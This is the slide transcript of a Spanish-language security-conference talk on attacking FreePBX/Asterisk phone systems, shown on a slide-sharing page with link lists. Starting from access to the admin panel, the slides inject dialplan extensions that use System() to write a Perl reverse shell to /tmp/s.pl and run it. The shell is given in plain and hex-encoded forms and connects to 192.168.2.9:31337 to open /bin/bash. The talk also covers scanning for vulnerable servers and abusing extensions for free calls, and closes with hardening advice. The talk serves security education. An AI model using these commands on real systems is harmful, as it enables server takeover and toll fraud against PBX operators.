- Bloquear todos los accesos procedentes de Internet que no sean estrictamente necesarios.

- Proteger la web privada con usuario y contraseña mediante un htaccess.
- Evitar el uso de puntos de acceso inalámbricos que puedan poner en peligro nuestra red.
- Configurar correctamente los servicios de Asterisk (configuraciones, contextos, ...).
- Mantener el sistema siempre actualizado.
- Estar al día con los fallos de seguridad que van apareciendo.
¡ Gracias !
Jose Luis Verdeguer
@pepeluxx
verdeguer@zoonsuite.com
http://blog.pepelux.org
http://www.zoonsuite.es
http://www.linkedin.com/in/pepelux

¿ Preguntas ?

Weitere ähnliche Inhalte

Was ist angesagt?

Manual De Instalacion De Asterisk
Manual De Instalacion De AsteriskManual De Instalacion De Asterisk
Manual De Instalacion De AsteriskCesar Pineda
 
Cómo explotar EternalRomance & EternalSynergy en Windows Server 2016
Cómo explotar EternalRomance & EternalSynergy en Windows Server 2016Cómo explotar EternalRomance & EternalSynergy en Windows Server 2016
Cómo explotar EternalRomance & EternalSynergy en Windows Server 2016Telefónica
 
Seguridad Informatica Virus
Seguridad Informatica VirusSeguridad Informatica Virus
Seguridad Informatica Virusguest74971
 
Explotar Eternalblue & Doublepulsar para obener una shell de Empire/Meterpret...
Explotar Eternalblue & Doublepulsar para obener una shell de Empire/Meterpret...Explotar Eternalblue & Doublepulsar para obener una shell de Empire/Meterpret...
Explotar Eternalblue & Doublepulsar para obener una shell de Empire/Meterpret...Telefónica
 
Servicio VPN con OpenVPN y Latch sobre Raspberry Pi
Servicio VPN con OpenVPN y Latch sobre Raspberry PiServicio VPN con OpenVPN y Latch sobre Raspberry Pi
Servicio VPN con OpenVPN y Latch sobre Raspberry PiTelefónica
 
Cómo explotar EternalBlue en Windows Server 2012 R2
Cómo explotar EternalBlue en Windows Server 2012 R2Cómo explotar EternalBlue en Windows Server 2012 R2
Cómo explotar EternalBlue en Windows Server 2012 R2Telefónica
 
Comandos ensp huawei
Comandos ensp huaweiComandos ensp huawei
Comandos ensp huaweijuca piro
 
Seguridad en Asterisk: Un acercamiento detallado
Seguridad en Asterisk: Un acercamiento detalladoSeguridad en Asterisk: Un acercamiento detallado
Seguridad en Asterisk: Un acercamiento detalladoPaloSanto Solutions
 
Escaneo de Puertos
Escaneo de PuertosEscaneo de Puertos
Escaneo de Puertosarnoldvq16
 
Teensy para pentesters y locos (2010)
Teensy para pentesters y locos (2010)Teensy para pentesters y locos (2010)
Teensy para pentesters y locos (2010)Websec México, S.C.
 
Usando el módulo PIKE en Elastix MT
Usando el módulo PIKE en Elastix MTUsando el módulo PIKE en Elastix MT
Usando el módulo PIKE en Elastix MTPaloSanto Solutions
 
6sos instalacion ipv6_windows_v4_0
6sos instalacion ipv6_windows_v4_06sos instalacion ipv6_windows_v4_0
6sos instalacion ipv6_windows_v4_0Victor Garcia Vara
 
Practica 15 21 qde cota
Practica 15  21 qde cotaPractica 15  21 qde cota
Practica 15 21 qde cotaJulio Padilla
 
Ethical hacking 03
Ethical hacking 03Ethical hacking 03
Ethical hacking 03Tensor
 
Comandos de redes en windows 7
Comandos de redes en windows 7Comandos de redes en windows 7
Comandos de redes en windows 7leo022883
 
El control de la informacion
El control de la informacionEl control de la informacion
El control de la informacionElio Rojano
 

Was ist angesagt? (20)

Manual De Instalacion De Asterisk
Manual De Instalacion De AsteriskManual De Instalacion De Asterisk
Manual De Instalacion De Asterisk
 
Cómo explotar EternalRomance & EternalSynergy en Windows Server 2016
Cómo explotar EternalRomance & EternalSynergy en Windows Server 2016Cómo explotar EternalRomance & EternalSynergy en Windows Server 2016
Cómo explotar EternalRomance & EternalSynergy en Windows Server 2016
 
Seguridad Informatica Virus
Seguridad Informatica VirusSeguridad Informatica Virus
Seguridad Informatica Virus
 
Explotar Eternalblue & Doublepulsar para obener una shell de Empire/Meterpret...
Explotar Eternalblue & Doublepulsar para obener una shell de Empire/Meterpret...Explotar Eternalblue & Doublepulsar para obener una shell de Empire/Meterpret...
Explotar Eternalblue & Doublepulsar para obener una shell de Empire/Meterpret...
 
Lo que será windows 8
Lo que será windows 8Lo que será windows 8
Lo que será windows 8
 
Comandos de red (1) converted
Comandos de red (1) convertedComandos de red (1) converted
Comandos de red (1) converted
 
Servicio VPN con OpenVPN y Latch sobre Raspberry Pi
Servicio VPN con OpenVPN y Latch sobre Raspberry PiServicio VPN con OpenVPN y Latch sobre Raspberry Pi
Servicio VPN con OpenVPN y Latch sobre Raspberry Pi
 
Asterisk seminario web
Asterisk seminario webAsterisk seminario web
Asterisk seminario web
 
Cómo explotar EternalBlue en Windows Server 2012 R2
Cómo explotar EternalBlue en Windows Server 2012 R2Cómo explotar EternalBlue en Windows Server 2012 R2
Cómo explotar EternalBlue en Windows Server 2012 R2
 
Comandos ensp huawei
Comandos ensp huaweiComandos ensp huawei
Comandos ensp huawei
 
Seguridad en Asterisk: Un acercamiento detallado
Seguridad en Asterisk: Un acercamiento detalladoSeguridad en Asterisk: Un acercamiento detallado
Seguridad en Asterisk: Un acercamiento detallado
 
Escaneo de Puertos
Escaneo de PuertosEscaneo de Puertos
Escaneo de Puertos
 
Teensy para pentesters y locos (2010)
Teensy para pentesters y locos (2010)Teensy para pentesters y locos (2010)
Teensy para pentesters y locos (2010)
 
Usando el módulo PIKE en Elastix MT
Usando el módulo PIKE en Elastix MTUsando el módulo PIKE en Elastix MT
Usando el módulo PIKE en Elastix MT
 
6sos instalacion ipv6_windows_v4_0
6sos instalacion ipv6_windows_v4_06sos instalacion ipv6_windows_v4_0
6sos instalacion ipv6_windows_v4_0
 
Seguridad so pii_2011
Seguridad so pii_2011Seguridad so pii_2011
Seguridad so pii_2011
 
Practica 15 21 qde cota
Practica 15  21 qde cotaPractica 15  21 qde cota
Practica 15 21 qde cota
 
Ethical hacking 03
Ethical hacking 03Ethical hacking 03
Ethical hacking 03
 
Comandos de redes en windows 7
Comandos de redes en windows 7Comandos de redes en windows 7
Comandos de redes en windows 7
 
El control de la informacion
El control de la informacionEl control de la informacion
El control de la informacion
 

Andere mochten auch

Directrices cdc 2011 infecciones por cateteres
Directrices cdc 2011 infecciones por cateteresDirectrices cdc 2011 infecciones por cateteres
Directrices cdc 2011 infecciones por cateteresInes Tudela Sanjuan
 
Estudo decisõesdecomprade carro_14102011 (3)
Estudo decisõesdecomprade carro_14102011 (3)Estudo decisõesdecomprade carro_14102011 (3)
Estudo decisõesdecomprade carro_14102011 (3)Elife Brasil
 
Tecnologia (3)
Tecnologia (3)Tecnologia (3)
Tecnologia (3)Sebs22
 
Plano de negocios e inf03-ec-easy_buying
Plano de negocios e inf03-ec-easy_buyingPlano de negocios e inf03-ec-easy_buying
Plano de negocios e inf03-ec-easy_buyingArnaldo Silva
 
Isolamento De Candida Spp. No Mamilo De Lactantes Do Banco De Leite Humano Da...
Isolamento De Candida Spp. No Mamilo De Lactantes Do Banco De Leite Humano Da...Isolamento De Candida Spp. No Mamilo De Lactantes Do Banco De Leite Humano Da...
Isolamento De Candida Spp. No Mamilo De Lactantes Do Banco De Leite Humano Da...Biblioteca Virtual
 
Automatically Repairing Test Cases for Evolving Method Declarations
Automatically Repairing Test Cases for Evolving Method DeclarationsAutomatically Repairing Test Cases for Evolving Method Declarations
Automatically Repairing Test Cases for Evolving Method DeclarationsICSM 2010
 
Championnat centre & charleroi
Championnat centre & charleroiChampionnat centre & charleroi
Championnat centre & charleroiFabrice Carlier
 
Quando perdemos alguém que amamos
Quando perdemos alguém que amamosQuando perdemos alguém que amamos
Quando perdemos alguém que amamosCristiane Freitas
 
Musica Vegetais
Musica VegetaisMusica Vegetais
Musica VegetaisHOME
 
El coste de la educación
El coste de la educación El coste de la educación
El coste de la educación SaanDpz
 
Disertaciones proyecto los animales mis amigos
Disertaciones  proyecto los animales mis amigosDisertaciones  proyecto los animales mis amigos
Disertaciones proyecto los animales mis amigospululo16
 
Manual de actividades estimuladoras para el desarrollo motor y perceptivo en ...
Manual de actividades estimuladoras para el desarrollo motor y perceptivo en ...Manual de actividades estimuladoras para el desarrollo motor y perceptivo en ...
Manual de actividades estimuladoras para el desarrollo motor y perceptivo en ...Magda Sarahí Rodríguez
 
ORASI Consulting Group Servicios
  ORASI Consulting Group Servicios  ORASI Consulting Group Servicios
ORASI Consulting Group ServiciosUniversidad de Lima
 
Resultaten verkeersenquete
Resultaten verkeersenqueteResultaten verkeersenquete
Resultaten verkeersenqueteopstal9255
 

Andere mochten auch (20)

Directrices cdc 2011 infecciones por cateteres
Directrices cdc 2011 infecciones por cateteresDirectrices cdc 2011 infecciones por cateteres
Directrices cdc 2011 infecciones por cateteres
 
Estudo decisõesdecomprade carro_14102011 (3)
Estudo decisõesdecomprade carro_14102011 (3)Estudo decisõesdecomprade carro_14102011 (3)
Estudo decisõesdecomprade carro_14102011 (3)
 
Tecnologia (3)
Tecnologia (3)Tecnologia (3)
Tecnologia (3)
 
Plano de negocios e inf03-ec-easy_buying
Plano de negocios e inf03-ec-easy_buyingPlano de negocios e inf03-ec-easy_buying
Plano de negocios e inf03-ec-easy_buying
 
Yajani cruz
Yajani cruzYajani cruz
Yajani cruz
 
Isolamento De Candida Spp. No Mamilo De Lactantes Do Banco De Leite Humano Da...
Isolamento De Candida Spp. No Mamilo De Lactantes Do Banco De Leite Humano Da...Isolamento De Candida Spp. No Mamilo De Lactantes Do Banco De Leite Humano Da...
Isolamento De Candida Spp. No Mamilo De Lactantes Do Banco De Leite Humano Da...
 
Tecidos do corpo humano
Tecidos do corpo humanoTecidos do corpo humano
Tecidos do corpo humano
 
Automatically Repairing Test Cases for Evolving Method Declarations
Automatically Repairing Test Cases for Evolving Method DeclarationsAutomatically Repairing Test Cases for Evolving Method Declarations
Automatically Repairing Test Cases for Evolving Method Declarations
 
Championnat centre & charleroi
Championnat centre & charleroiChampionnat centre & charleroi
Championnat centre & charleroi
 
Quando perdemos alguém que amamos
Quando perdemos alguém que amamosQuando perdemos alguém que amamos
Quando perdemos alguém que amamos
 
Musica Vegetais
Musica VegetaisMusica Vegetais
Musica Vegetais
 
El coste de la educación
El coste de la educación El coste de la educación
El coste de la educación
 
Aula1 Apresentacao SIE PETIC
Aula1 Apresentacao SIE PETICAula1 Apresentacao SIE PETIC
Aula1 Apresentacao SIE PETIC
 
Disertaciones proyecto los animales mis amigos
Disertaciones  proyecto los animales mis amigosDisertaciones  proyecto los animales mis amigos
Disertaciones proyecto los animales mis amigos
 
El valor de la puntualidad
El valor de la puntualidadEl valor de la puntualidad
El valor de la puntualidad
 
Juan david perilla 34343333
Juan david perilla 34343333Juan david perilla 34343333
Juan david perilla 34343333
 
Manual de actividades estimuladoras para el desarrollo motor y perceptivo en ...
Manual de actividades estimuladoras para el desarrollo motor y perceptivo en ...Manual de actividades estimuladoras para el desarrollo motor y perceptivo en ...
Manual de actividades estimuladoras para el desarrollo motor y perceptivo en ...
 
ORASI Consulting Group Servicios
  ORASI Consulting Group Servicios  ORASI Consulting Group Servicios
ORASI Consulting Group Servicios
 
Resultaten verkeersenquete
Resultaten verkeersenqueteResultaten verkeersenquete
Resultaten verkeersenquete
 
TDC1 Class 1
TDC1 Class 1TDC1 Class 1
TDC1 Class 1
 

Ähnlich wie FreePBX para diversión y beneficio

Trabajo final seguridad ofensiva defensiva
Trabajo final seguridad ofensiva defensivaTrabajo final seguridad ofensiva defensiva
Trabajo final seguridad ofensiva defensivaarbeycardona2
 
Linux Kernel - System Calls - Modules - Drivers
Linux Kernel - System Calls - Modules - DriversLinux Kernel - System Calls - Modules - Drivers
Linux Kernel - System Calls - Modules - DriversMartin Baez
 
Tutorial asterisk
Tutorial asteriskTutorial asterisk
Tutorial asteriskmanolinxxx
 
Debian Lenny Asterisk
Debian Lenny AsteriskDebian Lenny Asterisk
Debian Lenny Asteriskmanzurek
 
Seguridad: Backtrack2
Seguridad: Backtrack2 Seguridad: Backtrack2
Seguridad: Backtrack2 Francesc Perez
 
William fabricio manual de sistemas sas
William fabricio manual de sistemas sasWilliam fabricio manual de sistemas sas
William fabricio manual de sistemas sasRafael Toro
 
Instalación de asterisk en linux mint 12
Instalación de asterisk en linux mint 12Instalación de asterisk en linux mint 12
Instalación de asterisk en linux mint 12Giovani Hernandez
 
Curso Practico Cardsharing Lecc3
Curso Practico Cardsharing Lecc3Curso Practico Cardsharing Lecc3
Curso Practico Cardsharing Lecc3ZonaTV
 
Curso de VoIP / Parte 04: Conceptos avanzados
Curso de VoIP / Parte 04: Conceptos avanzadosCurso de VoIP / Parte 04: Conceptos avanzados
Curso de VoIP / Parte 04: Conceptos avanzadosIrontec
 
37 supervisión del sistema
37  supervisión del sistema37  supervisión del sistema
37 supervisión del sistemaAprende Viendo
 
VoIP con Asterisk Marzo 2010
VoIP con Asterisk Marzo 2010VoIP con Asterisk Marzo 2010
VoIP con Asterisk Marzo 2010Gabriel Astudillo
 
Lab 3 cifrado criptografia
Lab 3   cifrado criptografiaLab 3   cifrado criptografia
Lab 3 cifrado criptografiaJosé Moreno
 
Solucion ejercicios tema 6. telnet
Solucion ejercicios tema 6.  telnetSolucion ejercicios tema 6.  telnet
Solucion ejercicios tema 6. telneteinhasad
 

Ähnlich wie FreePBX para diversión y beneficio (20)

Trabajo final seguridad ofensiva defensiva
Trabajo final seguridad ofensiva defensivaTrabajo final seguridad ofensiva defensiva
Trabajo final seguridad ofensiva defensiva
 
Linux Kernel - System Calls - Modules - Drivers
Linux Kernel - System Calls - Modules - DriversLinux Kernel - System Calls - Modules - Drivers
Linux Kernel - System Calls - Modules - Drivers
 
Tutorial asterisk
Tutorial asteriskTutorial asterisk
Tutorial asterisk
 
Ejclase mpi
Ejclase mpiEjclase mpi
Ejclase mpi
 
voz ip
voz ipvoz ip
voz ip
 
Debian Lenny Asterisk
Debian Lenny AsteriskDebian Lenny Asterisk
Debian Lenny Asterisk
 
Manual Bàsic PS Tools
Manual Bàsic PS ToolsManual Bàsic PS Tools
Manual Bàsic PS Tools
 
Seguridad: Backtrack2
Seguridad: Backtrack2 Seguridad: Backtrack2
Seguridad: Backtrack2
 
William fabricio manual de sistemas sas
William fabricio manual de sistemas sasWilliam fabricio manual de sistemas sas
William fabricio manual de sistemas sas
 
Instalación de asterisk en linux mint 12
Instalación de asterisk en linux mint 12Instalación de asterisk en linux mint 12
Instalación de asterisk en linux mint 12
 
Comandos consola-windows-xp
Comandos consola-windows-xpComandos consola-windows-xp
Comandos consola-windows-xp
 
Curso Practico Cardsharing Lecc3
Curso Practico Cardsharing Lecc3Curso Practico Cardsharing Lecc3
Curso Practico Cardsharing Lecc3
 
CMD en Windows
CMD en WindowsCMD en Windows
CMD en Windows
 
Present3
Present3Present3
Present3
 
Curso de VoIP / Parte 04: Conceptos avanzados
Curso de VoIP / Parte 04: Conceptos avanzadosCurso de VoIP / Parte 04: Conceptos avanzados
Curso de VoIP / Parte 04: Conceptos avanzados
 
37 supervisión del sistema
37  supervisión del sistema37  supervisión del sistema
37 supervisión del sistema
 
VoIP con Asterisk Marzo 2010
VoIP con Asterisk Marzo 2010VoIP con Asterisk Marzo 2010
VoIP con Asterisk Marzo 2010
 
Lab 3 cifrado criptografia
Lab 3   cifrado criptografiaLab 3   cifrado criptografia
Lab 3 cifrado criptografia
 
Solucion ejercicios tema 6. telnet
Solucion ejercicios tema 6.  telnetSolucion ejercicios tema 6.  telnet
Solucion ejercicios tema 6. telnet
 
Ataque win xp
Ataque win xpAtaque win xp
Ataque win xp
 

Kürzlich hochgeladen

POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...silviayucra2
 
Desarrollo Web Moderno con Svelte 2024.pdf
Desarrollo Web Moderno con Svelte 2024.pdfDesarrollo Web Moderno con Svelte 2024.pdf
Desarrollo Web Moderno con Svelte 2024.pdfJulian Lamprea
 
Proyecto integrador. Las TIC en la sociedad S4.pptx
Proyecto integrador. Las TIC en la sociedad S4.pptxProyecto integrador. Las TIC en la sociedad S4.pptx
Proyecto integrador. Las TIC en la sociedad S4.pptx241521559
 
Global Azure Lima 2024 - Integración de Datos con Microsoft Fabric
Global Azure Lima 2024 - Integración de Datos con Microsoft FabricGlobal Azure Lima 2024 - Integración de Datos con Microsoft Fabric
Global Azure Lima 2024 - Integración de Datos con Microsoft FabricKeyla Dolores Méndez
 
Redes direccionamiento y subredes ipv4 2024 .pdf
Redes direccionamiento y subredes ipv4 2024 .pdfRedes direccionamiento y subredes ipv4 2024 .pdf
Redes direccionamiento y subredes ipv4 2024 .pdfsoporteupcology
 
EPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial UninoveEPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial UninoveFagnerLisboa3
 
9egb-lengua y Literatura.pdf_texto del estudiante
9egb-lengua y Literatura.pdf_texto del estudiante9egb-lengua y Literatura.pdf_texto del estudiante
9egb-lengua y Literatura.pdf_texto del estudianteAndreaHuertas24
 
pruebas unitarias unitarias en java con JUNIT
pruebas unitarias unitarias en java con JUNITpruebas unitarias unitarias en java con JUNIT
pruebas unitarias unitarias en java con JUNITMaricarmen Sánchez Ruiz
 
guía de registro de slideshare por Brayan Joseph
guía de registro de slideshare por Brayan Josephguía de registro de slideshare por Brayan Joseph
guía de registro de slideshare por Brayan JosephBRAYANJOSEPHPEREZGOM
 
CLASE DE TECNOLOGIA E INFORMATICA PRIMARIA
CLASE  DE TECNOLOGIA E INFORMATICA PRIMARIACLASE  DE TECNOLOGIA E INFORMATICA PRIMARIA
CLASE DE TECNOLOGIA E INFORMATICA PRIMARIAWilbisVega
 
Presentación guía sencilla en Microsoft Excel.pptx
Presentación guía sencilla en Microsoft Excel.pptxPresentación guía sencilla en Microsoft Excel.pptx
Presentación guía sencilla en Microsoft Excel.pptxLolaBunny11
 
International Women's Day Sucre 2024 (IWD)
International Women's Day Sucre 2024 (IWD)International Women's Day Sucre 2024 (IWD)
International Women's Day Sucre 2024 (IWD)GDGSucre
 
Trabajo Mas Completo De Excel en clase tecnología
Trabajo Mas Completo De Excel en clase tecnologíaTrabajo Mas Completo De Excel en clase tecnología
Trabajo Mas Completo De Excel en clase tecnologíassuserf18419
 

Kürzlich hochgeladen (13)

POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
 
Desarrollo Web Moderno con Svelte 2024.pdf
Desarrollo Web Moderno con Svelte 2024.pdfDesarrollo Web Moderno con Svelte 2024.pdf
Desarrollo Web Moderno con Svelte 2024.pdf
 
Proyecto integrador. Las TIC en la sociedad S4.pptx
Proyecto integrador. Las TIC en la sociedad S4.pptxProyecto integrador. Las TIC en la sociedad S4.pptx
Proyecto integrador. Las TIC en la sociedad S4.pptx
 
Global Azure Lima 2024 - Integración de Datos con Microsoft Fabric
Global Azure Lima 2024 - Integración de Datos con Microsoft FabricGlobal Azure Lima 2024 - Integración de Datos con Microsoft Fabric
Global Azure Lima 2024 - Integración de Datos con Microsoft Fabric
 
Redes direccionamiento y subredes ipv4 2024 .pdf
Redes direccionamiento y subredes ipv4 2024 .pdfRedes direccionamiento y subredes ipv4 2024 .pdf
Redes direccionamiento y subredes ipv4 2024 .pdf
 
EPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial UninoveEPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial Uninove
 
9egb-lengua y Literatura.pdf_texto del estudiante
9egb-lengua y Literatura.pdf_texto del estudiante9egb-lengua y Literatura.pdf_texto del estudiante
9egb-lengua y Literatura.pdf_texto del estudiante
 
pruebas unitarias unitarias en java con JUNIT
pruebas unitarias unitarias en java con JUNITpruebas unitarias unitarias en java con JUNIT
pruebas unitarias unitarias en java con JUNIT
 
guía de registro de slideshare por Brayan Joseph
guía de registro de slideshare por Brayan Josephguía de registro de slideshare por Brayan Joseph
guía de registro de slideshare por Brayan Joseph
 
CLASE DE TECNOLOGIA E INFORMATICA PRIMARIA
CLASE  DE TECNOLOGIA E INFORMATICA PRIMARIACLASE  DE TECNOLOGIA E INFORMATICA PRIMARIA
CLASE DE TECNOLOGIA E INFORMATICA PRIMARIA
 
Presentación guía sencilla en Microsoft Excel.pptx
Presentación guía sencilla en Microsoft Excel.pptxPresentación guía sencilla en Microsoft Excel.pptx
Presentación guía sencilla en Microsoft Excel.pptx
 
International Women's Day Sucre 2024 (IWD)
International Women's Day Sucre 2024 (IWD)International Women's Day Sucre 2024 (IWD)
International Women's Day Sucre 2024 (IWD)
 
Trabajo Mas Completo De Excel en clase tecnología
Trabajo Mas Completo De Excel en clase tecnologíaTrabajo Mas Completo De Excel en clase tecnología
Trabajo Mas Completo De Excel en clase tecnología
 

FreePBX para diversión y beneficio

  • 1. FreePBX for Fun & Profit Jose Luis Verdeguer @pepeluxx verdeguer@zoonsuite.com http://blog.pepelux.org http://www.zoonsuite.es http://www.linkedin.com/in/pepelux
  • 2. Sobre mi ... ● Ingeniero Técnico de Sistemas Informáticos por la Universidad de Alicante ● Master en Desarrollo y Programación de Aplicaciones y Servicios Web ● Director de Sistemas en ZoonSuite, S.L. ● Ponente en congresos de seguridad: ● ● No Con Name – Barcelona ● GSICKMINDS – A Coruña ● Navaja Negra – Albacete ● ● RootedCon – Madrid ConectaCon – Jaén Autor del libro: Hacking y Seguridad VoIP
  • 3. ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? FreePBX es una distribución basada en Asterisk. Asterisk es un software libre que realiza funciones de centralita telefónica.
  • 4. ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? Frente a una centralita convencional, un sistema de VoIP: Es más económico (gratis – sólo requiere un equipo no muy potente). Es mucho más flexible (extensiones ilimitadas, plan de llamadas, etc). Podemos realizar el mantenimiento nosotros mismos. El único “problema” es que requiere unos mínimos conocimientos de seguridad … o puede salirnos muy caro.
  • 5.
  • 6.
  • 7. Características: - Fail2ban que bloquea ataques de fuerza bruta (SSH, HTTP, SIP). - MySQL sin usuarios accesibles desde el exterior. - Obliga a usar contraseñas robustas para las cuentas de la centralita. - Administración por HTTP en claro – FAIL! - La sesión del panel nunca caduca – FAIL! Aparentemente robusto desde el exterior pero … … una vez dentro la seguridad es algo deficiente
  • 8.
  • 9. Supongamos que tenemos acceso a un panel de control de una FreePBX.
  • 10. Supongamos que tenemos acceso a un panel de control de una FreePBX. ¿ Es mucho suponer ?
  • 11.
  • 12.
  • 13.
  • 14. Buscando servidores FreePBX con SIPvicious: Última versión estable: 2.11.0 (Stable-4.211.64-7) Fecha de la versión: 20/Septiembre/2013 ////////////////// Fecha escaneo: Febrero/2013 Máquinas vulnerables (<=2.10.0): 22/30 (73%) Web accesible desde Internet: 17/30 (56%)
  • 16. Como decía antes ... Supongamos que tenemos acceso a un panel de control de una FreePBX.
  • 17. Lo que haría cualquier persona con acceso a un panel de una FreePBX sería crear una extensión para hacer llamadas gratis … hasta que le pillen.
  • 18. Lo que haría cualquier persona con acceso a un panel de una FreePBX sería crear una extensión para hacer llamadas gratis … hasta que le pillen. También podemos ejecutar comandos de Asterisk desde el CLI … aunque no permite ejecutar comandos del sistema (como ocurre desde la consola, usando '!').
  • 19. Podemos ver la versión de Asterisk con 'core show version'. O ver las llamadas activas con 'core show channels'.
  • 20.
  • 21.
  • 22. Comando System de Asterisk.
  • 23. Nuestro objetivo: Ejecutar comandos del sistema a través de llamadas telefónicas. Para ello: Vamos a crear una extensión nueva que, tras llamar, ejecute un System(). exten => XXX,1,Answer() exten => XXX,2,System('nuestro comando') exten => XXX,3,Hangup()
  • 24. El problema es que FreePBX está limitado a la hora de definir lo que hace una extensión, ya que se basa en lo permitido a través de la web, gestionado con unos simples formularios.
  • 25. Usando el CLI (Interfaz de Comandos) intentaremos crear una nueva extensión que nos permita interactuar con el sistema:
  • 26. Usando el CLI (Interfaz de Comandos) intentaremos crear una nueva extensión que nos permita interactuar con el sistema: Recordemos:
  • 27. Usando el CLI (Interfaz de Comandos) intentaremos crear una nueva extensión que nos permita interactuar con el sistema: Recordemos:
  • 28. Usando el CLI (Interfaz de Comandos) intentaremos crear una nueva extensión que nos permita interactuar con el sistema: Sería algo así: Formato: dialplan add extension extensión, prioridad, comando, [dato] into contexto Ejemplo: dialplan add extension 999,1,Answer, into ext-local dialplan add extension 999,2,System,comando_del_sistema into ext-local dialplan add extension 999,3,Hangup, into ext-local
  • 29. Intentaremos inyectar una shell que se guarde en un fichero, usando el comando System de Asterisk: Trataremos de usar el comando System para crear en el sistema el siguiente script en Perl y almacenarlo en algún lugar del servidor: use Socket; socket (S, PF_INET, SOCK_STREAM, getprotobyname("tcp")); if (connect (S, sockaddr_in(31337, inet_aton("192.168.2.9")))) { open (STDIN, ">&S"); open (STDOUT, ">&S"); open (STDERR, ">&S"); exec ("/bin/bash -i"); }
  • 30. Las líneas a inyectar, a través del CLI, quedarían de la siguiente forma: dialplan add extension 999,1,answer, into ext-local dialplan add extension 999,2,system,"echo -e 'use Socket;' > /tmp/s.pl" into ext-local dialplan add extension 999,3,system,"echo -e 'socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));' >> /tmp/s.pl" into ext-local dialplan add extension 999,4,system,"echo -e 'if(connect(S,sockaddr_in(31337,' >> /tmp/s.pl" into ext-local dialplan add extension 999,5,system,"echo -e 'inet_aton("192.168.2.9")))){' >> /tmp/s.pl" into ext-local dialplan add extension 999,6,system,"echo -e 'open(STDIN,">&S");' >> /tmp/s.pl" into ext-local dialplan add extension 999,7,system,"echo -e 'open(STDOUT,">&S");' >> /tmp/s.pl" into ext-local dialplan add extension 999,8,system,"echo -e 'open(STDERR,">&S");' >> /tmp/s.pl" into ext-local dialplan add extension 999,9,system,"echo -e 'exec("/bin/bash -i");}' >> /tmp/s.pl" into ext-local dialplan add extension 999,10,hangup, into ext-local
  • 31. El problema es que a través de la web no podemos introducir ciertos caracteres, por lo que hay que codificar la entrada: 75 73 65 20 53 6f 63 6b 65 74 3b 0d 0a 73 6f 63 6b 65 74 28 53 2c 50 46 5f 49 4e 45 54 2c 53 4f 43 4b 5f 53 54 52 45 41 4d 2c 67 65 74 70 72 6f 74 6f 62 79 6e 61 6d 65 28 22 74 63 70 22 29 29 3b 0d 0a 69 66 28 63 6f 6e 6e 65 63 74 28 53 2c 73 6f 63 6b 61 64 64 72 5f 69 6e 28 33 31 33 33 37 2c 69 6e 65 74 5f 61 74 6f 6e 28 22 31 39 32 2e 31 36 38 2e 32 2e 39 22 29 29 29 29 7b 0d 0a 6f 70 65 6e 28 53 54 44 49 4e 2c 22 3e 26 53 22 29 3b 0d 0a 6f 70 65 6e 28 53 54 44 4f 55 54 2c 22 3e 26 53 22 29 3b 0d 0a 6f 70 65 6e 28 53 54 44 45 52 52 2c 22 3e 26 53 22 29 3b 0d 0a 65 78 65 63 28 22 2f 62 69 6e 2f 62 61 73 68 20 2d 69 22 29 3b 7d 0d 0a
  • 32. Quedando finalmente: dialplan add extension 999,1,answer, into ext-local dialplan add extension 999,2,system,"echo -e 'x75x73x65x20x53x6fx63x6bx65x74x3bx0dx0a' > /tmp/s.pl" into ext-local dialplan add extension 999,3,system,"echo -e 'x73x6fx63x6bx65x74x28x53x2cx50x46x5fx49x4ex45x54x2cx53x4fx43x4bx5fx53x54x52x4 5x41x4dx2cx67x65x74x70x72x6fx74x6fx62x79x6ex61x6dx65x28x22x74x63x70x22x29x29 x3bx0dx0a' >> /tmp/s.pl" into ext-local dialplan add extension 999,4,system,"echo -e 'x69x66x28x63x6fx6ex6ex65x63x74x28x53x2cx73x6fx63x6bx61x64x64x72x5fx69x6ex28x3 3x31x33x33x37x2c' >> /tmp/s.pl" into ext-local dialplan add extension 999,5,system,"echo -e 'x69x6ex65x74x5fx61x74x6fx6ex28x22x31x39x32x2ex31x36x38x2ex32x2ex39x22x29x29x 29x29x7bx0dx0a' >> /tmp/s.pl" into ext-local dialplan add extension 999,6,system,"echo -e 'x6fx70x65x6ex28x53x54x44x49x4ex2cx22x3ex26x53x22x29x3bx0dx0a' >> /tmp/s.pl" into ext-local dialplan add extension 999,7,system,"echo -e 'x6fx70x65x6ex28x53x54x44x4fx55x54x2cx22x3ex26x53x22x29x3bx0dx0a' >> /tmp/s.pl" into extlocal dialplan add extension 999,8,system,"echo -e 'x6fx70x65x6ex28x53x54x44x45x52x52x2cx22x3ex26x53x22x29x3bx0dx0a' >> /tmp/s.pl" into ext-local dialplan add extension 999,9,system,"echo -e 'x65x78x65x63x28x22x2fx62x69x6ex2fx73x68x20x2dx69x22x29x3bx7dx0dx0a' >> /tmp/s.pl" into ext-local dialplan add extension 999,10,hangup, into ext-local
  • 33. Una vez realizada la inyección de la nueva extensión en el dialplan, como tenemos acceso al panel, nos creamos una cuenta para poder realizar llamadas. Configuramos un softphone con esa cuenta. Llamamos por teléfono a la extensión 999 para ejecutar el plan de llamadas y crear nuestro script.
  • 34. Una vez realizada la inyección de la nueva extensión en el dialplan, como tenemos acceso al panel, nos creamos una cuenta para poder realizar llamadas. Configuramos un softphone con esa cuenta. Llamamos por teléfono a la extensión 999 para ejecutar el plan de llamadas y crear nuestro script. Tras la llamada, tendremos el script en el sistema (almacenado como /tmp/s.pl).
  • 35. Ahora creamos otro plan de llamadas para ejecutarlo: - Recargamos el dialplan para borrar la extensión 999: dialplan reload - Volvemos a crear la extensión: dialplan add extension 999,1,Answer, into ext-local dialplan add extension 999,2,System,"perl /tmp/s.pl" into ext-local dialplan add extension 999,3,Hangup, into ext-local
